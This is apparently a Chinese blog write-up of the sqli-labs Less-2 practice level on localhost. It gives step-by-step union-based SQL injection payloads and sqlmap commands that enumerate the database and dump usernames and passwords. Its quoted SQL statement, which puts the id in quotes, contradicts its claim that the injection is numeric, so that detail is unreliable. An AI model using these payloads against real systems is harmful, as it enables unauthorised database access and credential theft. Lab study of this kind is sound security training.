sqli-labs:Less-2关卡详细解析
1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:数值型
- 提示:参数
id
无需考虑闭合问题,相对简单
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-2/
,只需要将下面的sql语句粘贴即可。
2.1. 正常请求⚡
?id=1
说明:测试回显情况
2.2. 判断字段数⚡
?id=1 order by 4
order by 4
:探测字段数(报错说明字段数=3)
本关卡在sql语句后是不需要加--+
注释符,是否加--+
注释符详细如下:
2.2.1. 必须使用--+
的情况
场景特征 | 示例 | 必要性分析 |
---|---|---|
URL参数注入 | ?id=1'--+ | URL中的空格会被编码,+ 确保注释生效 |
闭合单引号 | admin'--+ | 避免后续SQL语法错误 |
过滤空格环境 | 1'/**/OR/**/1=1--+ | WAF可能过滤空格但允许+ |
2.2.2. 可不使用的情况
场景特征 | 示例 | 原因分析 |
---|---|---|
数字型注入 | ?id=1 OR 1=1 | 无需闭合引号 |
报错注入 | ?id=1 AND updatexml(1,concat(0x7e,(SELECT@@version)),1) | 语句自包含无需截断 |
POST表单注入 | username=admin'-- | 表单数据不涉及URL编码 |
2.3. 确定回显位⚡
?id=-1 union select 1,2,3
-1
:使前查询无结果union select
:联合查询回显位
2.4. 获取基础信息⚡
?id=-1 union select 1,database(),user()
2.5. 获取表名⚡
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'
2.6. 获取字段⚡
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'
2.7. 获取数据⚡
?id=-1 union select 1,group_concat(username),group_concat(password) from users
2.8. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
order by | 判断字段数 | order by 4 |
union select | 联合查询 | union select 1,2,3 |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-2/?id=1
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-2/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
4. 总结🏁
如有不懂,关卡1的解析更为详细,相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209
- 注入类型:数值型
- 核心步骤:判字段→找回显→爆库→爆表→爆数据
- 工具对比:手工注入适合学习原理,SQLMap适合快速验证
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗